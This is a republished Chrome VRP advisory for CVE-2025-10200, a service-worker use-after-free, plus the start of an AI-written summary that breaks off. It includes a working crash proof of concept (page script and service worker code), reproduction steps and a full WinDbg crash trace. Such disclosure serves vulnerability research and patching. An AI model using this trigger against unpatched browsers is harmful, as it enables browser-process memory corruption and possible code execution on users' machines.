Skip to content
Memory corruption Advisory Advanced CVE-2025-10200

Use after free in Serviceworker (CVE-2025-10200)

A crafted web page can cause a use-after-free of an InflightRequestTimeoutInfo object inside ServiceWorkerVersion::FinishRequestWithFetchCount(), because a new request added during the timeout timer's swap of the timeout set ends up freed when the local set goes out of scope. The reporter states this may potentially be exploited to achieve one-click remote code execution in the browser process outside the sandbox.

Looben Yang Follow

Originally disclosed on Chrome VRP

Bounty$43,000 Critical View original
  • Fix shipped in 19 days

VULNERABILITY DETAILS

Specifically crafted web page can trigger Use After Free of InflightRequestTimeoutInfo object in ServiceWorkerVersion::FinishRequestWithFetchCount(). This bug may potentially be exploited to achieve one click Remote Code Execution in browser process (outside sandbox).

ServiceWorkerVersion connects the actual script with a running service worker. ServiceWorkerVersion Handles requests of different types e.g. install, activate, fetch etc.
These requests usually take some time and need to be processed asynchronously, so its member inflight_requests_ holds in-flight requests:

  base::IDMap<std::unique_ptr<InflightRequest>> inflight_requests_;

Since these requests are subjected to expiry,  ServiceWorkerVersion also has member request_timeouts_ which is a set of InflightRequestTimeoutInfo to track the timeout information:

  std::set<InflightRequestTimeoutInfo> request_timeouts_;

When a request is started, a new InflightRequest object is created in  ServiceWorkerVersion::StartRequestWithCustomTimeout() and added to container inflight_requests_. An InflightRequestTimeoutInfo object is also created and added to container request_timeouts_. InflightRequest has one member "timeout_iter" that refers to the corresponding iterator in request_timeouts_.

	int ServiceWorkerVersion::StartRequestWithCustomTimeout()
	{
	  ...
	  auto request = std::make_unique<InflightRequest>(std::move(error_callback), clock_->Now(), tick_clock_->NowTicks(),event_type);
	  InflightRequest* request_rawptr = request.get();
	  int request_id = inflight_requests_.Add(std::move(request));
	  ...
	  auto [iter, is_inserted] = request_timeouts_.emplace(
		  request_id, event_type, expiration_time, timeout_behavior);
	  ...
	  request_rawptr->timeout_iter = iter;
	  ...
	}

When the request is finished, the InflightRequest object is retrieved via request_id. The aforementioned "timeout_iter" member of InflightRequest is used to locate the InflightRequestTimeoutInfo inside request_timeouts_. The corresponding objects in   request_timeouts_ and inflight_requests_ are removed respectively.

	bool ServiceWorkerVersion::FinishRequestWithFetchCount() {
	  InflightRequest* request = inflight_requests_.Lookup(request_id);
	  ...
	  request_timeouts_.erase(request->timeout_iter);
	  inflight_requests_.Remove(request_id);
	  ...
	}

Besides,  ServiceWorkerVersion periodically checks "request_timeouts_" for entries that should time out in ServiceWorkerVersion::OnTimeoutTimer() which executes every 30 seconds (kTimeoutTimerDelay = base::Seconds(30)):  

	void ServiceWorkerVersion::OnTimeoutTimer() {
	  ...
	  std::set<InflightRequestTimeoutInfo> request_timeouts;
	  request_timeouts.swap(request_timeouts_);
	  auto timeout_iter = request_timeouts.begin();
	  while (timeout_iter != request_timeouts.end()) {
		const InflightRequestTimeoutInfo& info = *timeout_iter;
		if (!RequestExpired(info.expiration_time)) {
		  break;
		}
		if (MaybeTimeoutRequest(info)) {
			...
		  }
		}
		timeout_iter = request_timeouts.erase(timeout_iter);
	  }
	  ...  
	  request_timeouts_.swap(request_timeouts);  
	  ...
	}

If the request is expired, "error_callback" of the request is executed (in MaybeTimeoutRequest()). The InflightRequestTimeoutInfo entry is removed from request_timeouts_ in OnTimeoutTimer(), while the InflightRequest entry is removed from inflight_requests_ in MaybeTimeoutRequest().

bool ServiceWorkerVersion::MaybeTimeoutRequest(
	const InflightRequestTimeoutInfo& info) {
  InflightRequest* request = inflight_requests_.Lookup(info.id);
  ...
  std::move(request->error_callback)
	  .Run(blink::ServiceWorkerStatusCode::kErrorTimeout);
  inflight_requests_.Remove(info.id);
  return true;
}

There is a problem with the swap operation against request_timeouts_ and the MaybeTimeoutRequest() method. 
What if a new request object is added to "request_timeouts_" during these operations? Turns out it's possible.

In the window code of the PoC, location.reload() is called after a service worker is registered with scope "/", the fetch request would be intercepted and served by the service worker which has a fetch event listener.

		navigator.serviceWorker.register("/svcworker0.js", {scope: "/"});
		setTimeout(function(){location.reload()},1000);

In the service worker js code of the PoC, waitUntil() is used to delay the activation process of the service worker for 332000ms ( > 5 minutes). 

		const p1 = new Promise((resolve, reject) => {
		  setTimeout(() => {
			resolve("foo");
		  }, 332000);
		});

		this.onactivate = function (e) {
			e.waitUntil(p1);
		};

So the activation request would expire (kRequestTimeout = 5 minutes) before the activate handler returns.  The timeout value of 332000ms is picked to be > kRequestTimeout + kTimeoutTimerDelay = 5 minutes + 30s = 3300000ms, so ServiceWorkerVersion::OnTimeoutTimer() is definitely called after the activate request expires but before the activate handler returns. 

Therefore, the "error_callback" (which is "ServiceWorkerRegistration::OnActivateEventFinished())of the request is executed from aybeTimeoutRequest(). This ultimately leads to the creation of a new InflightRequestTimeoutInfo object for the fetch operation:

	ServiceWorkerVersion::MaybeTimeoutRequest()
	  ServiceWorkerRegistration::OnActivateEventFinished()
		ServiceWorkerVersion::SetStatus()
		  ServiceWorkerControlleeRequestHandler::ContinueWithActivatedVersion()
			ServiceWorkerControlleeRequestHandler::CreateLoaderAndStartRequest()
			  NavigationURLLoaderImpl::MaybeStartLoader()
				NavigationURLLoaderImpl::StartInterceptedRequest()
				  NavigationURLLoaderImpl::CreateThrottlingLoaderAndStart()
					ThrottlingURLLoader::CreateLoaderAndStart()
					  ThrottlingURLLoader::Start()
						ThrottlingURLLoader::StartNow()
						  URLLoaderFactory::CreateLoaderAndStart()
							SingleRequestURLLoaderFactory::CreateLoaderAndStart()
							  SingleRequestURLLoaderFactory::HandlerState::CreateLoaderAndStart()
								ServiceWorkerMainResourceLoader::StartRequest()
								  ServiceWorkerFetchDispatcher::StartWorker()
									ServiceWorkerFetchDispatcher::DispatchFetchEvent()
									  ServiceWorkerVersion::StartRequest(()
										ServiceWorkerVersion::StartRequestWithCustomTimeout()

As described above, a new InflightRequest object for the fetch operation is created in  ServiceWorkerVersion::StartRequestWithCustomTimeout() and added to container inflight_requests_. An InflightRequestTimeoutInfo object is also created and added to container request_timeouts_.

However, because the swap operation ("request_timeouts.swap(request_timeouts_)") in ServiceWorkerVersion::OnTimeoutTimer(), the new InflightRequestTimeoutInfo object is in member variable request_timeouts_, but is NOT in the local variable request_timeouts. After the timeout checkings and callback executions and the second swap call ("request_timeouts_.swap(request_timeouts)"), the new InflightRequestTimeoutInfo object is in the local variable request_timeouts, but NOT in the member variable request_timeouts_. on the exit of function ServiceWorkerVersion::OnTimeoutTimer(), as the local variable goes out of scope, the new InflightRequestTimeoutInfo object is unexpectedly freed.

At this point, there is inconsistency between request_timeouts_ and inflight_requests_. The new InflightRequest object is still in inflight_requests_, but there is NO corresponding InflightRequestTimeoutInfo object in container request_timeouts_. 

When the fetch handler JS code finally returns,  ServiceWorkerVersion::FinishRequestWithFetchCount() gets executed. The operations based on the stale "request->timeout_iter" pointer is Use After Free (and/or double free).

I believe this bug probably affects all OSs across all release channels. Crash state on MacOS (UAF_FinishRequestWithFetchCount_crashState_Mac.txt) and ASAN report (UAF_FinishRequestWithFetchCount_ASAN.txt) are also collected and attached here for your reference.	  

VERSION Google Chrome 141.0.7354.4 (Official Build) dev (64-bit) (cohort: Control) Revision b3cc3de50fcf9008fcd6ef93a660b1aa16c7933d-refs/branch-heads/7354@{#5} OS Windows 11 Version 24H2 (Build 26100.4946) JavaScript V8 14.1.56

BISECT Commit that introduced the bug : https://source.chromium.org/chromium/chromium/src/+/5926fa916d9ad53c77e31ee757e1979275d7466c (Committed on 2022-07-13 11:21 AM)

REPRODUCTION CASE (whole server code in UAF_FinishRequestWithFetchCount_PoC.js)

window code:

	<script>
	navigator.serviceWorker.register("/svcworker0.js", {scope: "/"});
	setTimeout(function(){location.reload()},1000);
	</script>

Service worker code (svcworker0.js):
	const p1 = new Promise((resolve, reject) => {
	  setTimeout(() => {
		resolve("foo");
	  }, 332000);
	});

	this.onactivate = function (e) {
		e.waitUntil(p1);
	};
	this.onfetch = function (e) {
		e.waitUntil(new Promise(resolve => setTimeout(resolve, 1)));
	};

Steps to reproduce:

  1. Run the PoC with NodeJS: node UAF_FinishRequestWithFetchCount_PoC.js
  2. Enter http://localhost:12345/ from the chrome browser

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION Type of crash: browser Crash State:

(30a0.af88): Access violation - code c0000005 (!!! second chance !!!)
chrome!std::__Cr::__tree_min+0x3 [inlined in chrome!std::__Cr::__tree<std::__Cr::__value_type<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::__map_value_compare<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::less<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > >,1>,std::__Cr::allocator<std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > > > >::__remove_node_pointer+0x47]:
00007ff8`b2abd637 488b12          mov     rdx,qword ptr [rdx] ds:54415541`56415741=????????????????
0:000> r
rax=5441554156415741 rbx=0000000000000003 rcx=00002f2c02118150
rdx=5441554156415741 rsi=00000074515fd338 rdi=00002f2c044ff430
rip=00007ff8b2abd637 rsp=00000074515fd2c0 rbp=000000000838b500
 r8=00002f2c04518680  r9=0000000000000001 r10=000000000002bf20
r11=0000000000000032 r12=0000000000000000 r13=00000074515fd458
r14=00002f2c021180f8 r15=00002f2c04518680
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010204
chrome!std::__Cr::__tree_min+0x3 [inlined in chrome!std::__Cr::__tree<std::__Cr::__value_type<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::__map_value_compare<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::less<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > >,1>,std::__Cr::allocator<std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > > > >::__remove_node_pointer+0x47]:
00007ff8`b2abd637 488b12          mov     rdx,qword ptr [rdx] ds:54415541`56415741=????????????????
0:000> dv
			__x = 0x54415541`56415741
0:000> dx -id 0,0 -r1 ((chrome!std::__Cr::__tree_node_base<void *> *)0x5441554156415741)
((chrome!std::__Cr::__tree_node_base<void *> *)0x5441554156415741)                 : 0x5441554156415741 [Type: std::__Cr::__tree_node_base<void *> *]
	[+0x000] __left_          : Unable to read memory at Address 0x5441554156415741
	[+0x008] __right_         : Unable to read memory at Address 0x5441554156415749
	[+0x010] __parent_        : Unable to read memory at Address 0x5441554156415751
	[+0x018] __is_black_      : Unable to read memory at Address 0x5441554156415759
0:000> k
 # Child-SP          RetAddr               Call Site
00 (Inline Function) --------`--------     chrome!std::__Cr::__tree_min+0x3 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 163] 
01 (Inline Function) --------`--------     chrome!std::__Cr::__tree_next_iter+0x3f [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 192] 
02 (Inline Function) --------`--------     chrome!std::__Cr::__tree_iterator<std::__Cr::__value_type<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::__tree_node<std::__Cr::__value_type<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,void *> *,long long>::operator+++0x3f [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 655] 
03 00000074`515fd2c0 00007ff8`b2be393f     chrome!std::__Cr::__tree<std::__Cr::__value_type<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::__map_value_compare<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::less<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > >,1>,std::__Cr::allocator<std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > > > >::__remove_node_pointer+0x47 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 1807] 
04 (Inline Function) --------`--------     chrome!std::__Cr::__tree<content::ServiceWorkerVersion::InflightRequestTimeoutInfo,std::__Cr::less<content::ServiceWorkerVersion::InflightRequestTimeoutInfo>,std::__Cr::allocator<content::ServiceWorkerVersion::InflightRequestTimeoutInfo> >::erase+0x8 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 1937] 
05 (Inline Function) --------`--------     chrome!std::__Cr::set<content::ServiceWorkerVersion::InflightRequestTimeoutInfo,std::__Cr::less<content::ServiceWorkerVersion::InflightRequestTimeoutInfo>,std::__Cr::allocator<content::ServiceWorkerVersion::InflightRequestTimeoutInfo> >::erase+0x8 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\set @ 772] 
06 00000074`515fd2f0 00007ff8`b48aefe5     chrome!content::ServiceWorkerVersion::FinishRequestWithFetchCount+0xbf [C:\b\s\w\ir\cache\builder\src\content\browser\service_worker\service_worker_version.cc @ 852] 
07 00000074`515fd3a0 00007ff8`b48aeeb7     chrome!content::ServiceWorkerFetchDispatcher::ResponseCallback::HandleResponse+0x55 [C:\b\s\w\ir\cache\builder\src\content\browser\service_worker\service_worker_fetch_dispatcher.cc @ 388] 
08 00000074`515fd420 00007ff8`afd081d2     chrome!content::ServiceWorkerFetchDispatcher::ResponseCallback::OnFallback+0xa7 [C:\b\s\w\ir\cache\builder\src\content\browser\service_worker\service_worker_fetch_dispatcher.cc @ 375] 
09 00000074`515fd4d0 00007ff8`b1f95b42     chrome!blink::mojom::ServiceWorkerFetchResponseCallbackStubDispatch::Accept+0x2e2 [C:\b\s\w\ir\cache\builder\src\out\ff92-win64-clang\gen\third_party\blink\public\mojom\service_worker\service_worker_fetch_response_callback.mojom.cc @ 536] 
0a (Inline Function) --------`--------     chrome!mojo::InterfaceEndpointClient::HandleValidatedMessage+0x14a [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc @ 1059] 
0b 00000074`515fd5c0 00007ff8`b185d79b     chrome!mojo::InterfaceEndpointClient::HandleIncomingMessageThunk::Accept+0x172 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc @ 377] 
0c (Inline Function) --------`--------     chrome!mojo::MessageDispatcher::Accept+0x3ad [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\message_dispatcher.cc @ 43] 
0d (Inline Function) --------`--------     chrome!mojo::InterfaceEndpointClient::HandleIncomingMessage+0x475 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc @ 731] 
0e (Inline Function) --------`--------     chrome!mojo::internal::MultiplexRouter::ProcessIncomingMessage+0x71c [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\multiplex_router.cc @ 1147] 
0f 00000074`515fd680 00007ff8`b222507e     chrome!mojo::internal::MultiplexRouter::Accept+0x9eb [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\multiplex_router.cc @ 759] 
10 00000074`515fda80 00007ff8`b039cbb6     chrome!mojo::MessageDispatcher::Accept+0x38e [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\message_dispatcher.cc @ 43] 
11 (Inline Function) --------`--------     chrome!mojo::Connector::DispatchMessageW+0x205 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 560] 
12 (Inline Function) --------`--------     chrome!mojo::Connector::ReadAllAvailableMessages+0x2e2 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 619] 
13 (Inline Function) --------`--------     chrome!mojo::Connector::OnHandleReadyInternal+0x2ea [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 450] 
14 (Inline Function) --------`--------     chrome!mojo::Connector::OnWatcherHandleReady+0x2f7 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 416] 
15 (Inline Function) --------`--------     chrome!base::internal::DecayedFunctorTraits<void (Connector::*)(const char *, unsigned int),mojo::Connector *,const char *const &>::Invoke+0x307 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 731] 
16 (Inline Function) --------`--------     chrome!base::internal::InvokeHelper<0,base::internal::FunctorTraits<void (Connector::*const &)(const char *, unsigned int),mojo::Connector *,const char *const &>,void,0,1>::MakeItSo+0x31c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 923] 
17 (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (Connector::*const &)(const char *, unsigned int),mojo::Connector *,const char *const &>,base::internal::BindState<1,1,0,void (Connector::*)(const char *, unsigned int),base::internal::UnretainedWrapper<mojo::Connector,base::unretained_traits::MayNotDangle,0>,base::internal::UnretainedWrapper<const char,base::unretained_traits::MayNotDangle,0> >,void (unsigned int)>::RunImpl+0x31c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1060] 
18 00000074`515fdb60 00007ff8`b0f61daf     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (Connector::*const &)(const char *, unsigned int),mojo::Connector *,const char *const &>,base::internal::BindState<1,1,0,void (Connector::*)(const char *, unsigned int),base::internal::UnretainedWrapper<mojo::Connector,base::unretained_traits::MayNotDangle,0>,base::internal::UnretainedWrapper<const char,base::unretained_traits::MayNotDangle,0> >,void (unsigned int)>::Run+0x356 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 980] 
19 (Inline Function) --------`--------     chrome!base::RepeatingCallback<void (unsigned int)>::Run+0x3b [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 344] 
1a (Inline Function) --------`--------     chrome!mojo::SimpleWatcher::DiscardReadyState+0x3b [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.h @ 192] 
1b (Inline Function) --------`--------     chrome!base::internal::DecayedFunctorTraits<void (*)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback<void (unsigned int)> &>::Invoke+0x50 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 664] 
1c (Inline Function) --------`--------     chrome!base::internal::InvokeHelper<0,base::internal::FunctorTraits<void (*const &)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback<void (unsigned int)> &>,void,0>::MakeItSo+0x50 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 923] 
1d (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (*const &)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback<void (unsigned int)> &>,base::internal::BindState<0,1,0,void (*)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),base::RepeatingCallback<void (unsigned int)> >,void (unsigned int, const mojo::HandleSignalsState &)>::RunImpl+0x50 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1060] 
1e (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (*const &)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback<void (unsigned int)> &>,base::internal::BindState<0,1,0,void (*)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),base::RepeatingCallback<void (unsigned int)> >,void (unsigned int, const mojo::HandleSignalsState &)>::Run+0x55 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 980] 
1f (Inline Function) --------`--------     chrome!base::RepeatingCallback<void (unsigned int, const mojo::HandleSignalsState &)>::Run+0x90 [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 344] 
20 (Inline Function) --------`--------     chrome!mojo::SimpleWatcher::OnHandleReady+0x137 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.cc @ 278] 
21 (Inline Function) --------`--------     chrome!base::internal::DecayedFunctorTraits<void (SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&>::Invoke+0x174 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 731] 
22 (Inline Function) --------`--------     chrome!base::internal::InvokeHelper<1,base::internal::FunctorTraits<void (SimpleWatcher::*&&)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&>,void,0,1,2,3>::MakeItSo+0x198 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 947] 
23 (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (SimpleWatcher::*&&)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&>,base::internal::BindState<1,1,0,void (SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned int,mojo::HandleSignalsState>,void ()>::RunImpl+0x198 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1060] 
24 (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (SimpleWatcher::*&&)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&>,base::internal::BindState<1,1,0,void (SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned int,mojo::HandleSignalsState>,void ()>::RunOnce+0x198 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 973] 
25 (Inline Function) --------`--------     chrome!base::OnceCallback<void ()>::Run+0x502 [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 156] 
26 (Inline Function) --------`--------     chrome!base::TaskAnnotator::RunTaskImpl+0x5f2 [C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc @ 207] 
27 (Inline Function) --------`--------     chrome!base::TaskAnnotator::RunTask+0x652 [C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.h @ 104] 
28 (Inline Function) --------`--------     chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl+0xcfc [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 473] 
29 00000074`515fdd20 00007ff8`b0fda20d     chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork+0xd8f [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 347] 
2a 00000074`515fe530 00007ff8`adb2b6ac     chrome!base::MessagePumpForUI::DoRunLoop+0x7d [C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_win.cc @ 264] 
2b 00000074`515fe630 00007ff8`b2233112     chrome!base::MessagePumpWin::Run+0xac [C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_win.cc @ 88] 
2c 00000074`515fe6a0 00007ff8`ae3d40c6     chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run+0xf2 [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 651] 
2d 00000074`515fe730 00007ff8`ae528466     chrome!base::RunLoop::Run+0x1c6 [C:\b\s\w\ir\cache\builder\src\base\run_loop.cc @ 136] 
2e 00000074`515fe840 00007ff8`ae528135     chrome!content::BrowserMainLoop::RunMainMessageLoop+0xc6 [C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_loop.cc @ 1111] 
2f (Inline Function) --------`--------     chrome!content::BrowserMainRunnerImpl::Run+0xf [C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_runner_impl.cc @ 156] 
30 00000074`515fe8b0 00007ff8`ae526ccf     chrome!content::BrowserMain+0x125 [C:\b\s\w\ir\cache\builder\src\content\browser\browser_main.cc @ 32] 
31 (Inline Function) --------`--------     chrome!content::RunBrowserProcessMain+0x97 [C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 701] 
32 00000074`515fe970 00007ff8`ae4da638     chrome!content::ContentMainRunnerImpl::RunBrowser+0x7af [C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 1278] 
33 00000074`515feb60 00007ff8`ae4d9892     chrome!content::ContentMainRunnerImpl::Run+0x268 [C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 1127] 
34 (Inline Function) --------`--------     chrome!content::RunContentProcess+0x351 [C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 356] 
35 00000074`515fece0 00007ff8`ae4d8084     chrome!content::ContentMain+0x3c2 [C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 369] 
36 00000074`515fef20 00007ff7`72d81d07     chrome!ChromeMain+0x2a4 [C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc @ 224] 
37 00000074`515ff1b0 00007ff7`72d8080b     chrome_exe!MainDllLoader::Launch+0x407 [C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc @ 201] 
38 00000074`515ff440 00007ff7`72eaf6f2     chrome_exe!wWinMain+0x23b [C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc @ 352] 
39 (Inline Function) --------`--------     chrome_exe!invoke_main+0x21 [D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 118] 
3a 00000074`515ff840 00007ff9`d632e8d7     chrome_exe!__scrt_common_main_seh+0x106 [D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
3b 00000074`515ff880 00007ff9`d6bdc34c     KERNEL32!BaseThreadInitThunk+0x17
3c 00000074`515ff8b0 00000000`00000000     ntdll!RtlUserThreadStart+0x2c

CREDIT INFORMATION Reporter credit: Looben Yang

The original report as published on the Chromium issue tracker, by Looben Yang. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

This is a use-after-free in Chrome's service worker implementation, tracked as CVE-2025-10200 and reported through the Chrome VRP by Looben Yang. The affected component is ServiceWorkerVersion, the browser-process object that connects a registered service worker script with a running worker instance and tracks the requests (install, activate, fetch and so on) that the worker is handling.

Those requests are asynchronous and can take time, so ServiceWorkerVersion keeps them in two containers. In-flight requests live in an IDMap keyed by request id:

Text
base::IDMap<std::unique_ptr<InflightRequest>> inflight_requests_;

Because requests are also subject to expiry, a parallel set tracks their timeout information:

Text
std::set<InflightRequestTimeoutInfo> request_timeouts_;

Each InflightRequest holds a timeout_iter member that points at its corresponding entry in request_timeouts_. The two containers are supposed to stay in sync: one entry in each, linked by that iterator.

The bug lets a crafted web page free an InflightRequestTimeoutInfo object while an InflightRequest still refers to it, and the dangling iterator is later dereferenced in ServiceWorkerVersion::FinishRequestWithFetchCount(). The reporter states this may potentially be exploited to achieve one-click remote code execution in the browser process, outside the sandbox.

Setup

The bug was reproduced on:

Item Value
Version Google Chrome 141.0.7354.4 (Official Build) dev (64-bit) (cohort: Control)
Revision [redacted]-refs/branch-heads/7354@{#5}
OS Windows 11 Version 24H2 (Build 26100.4946)
JavaScript V8 14.1.56

The reproduction is a small NodeJS server that serves a page and a service worker script. The reporter believes the bug probably affects all operating systems across all release channels. A bisect attributes the introduction of the bug to a commit dated 2022-07-13 11:21 AM:

Text
https://source.chromium.org/chromium/chromium/src/+/[redacted]

Finding it

The researcher looked at how the two containers are maintained. When a request starts, StartRequestWithCustomTimeout() creates the InflightRequest, adds it to inflight_requests_, creates the matching InflightRequestTimeoutInfo in request_timeouts_, and stores the returned iterator in the request:

Text
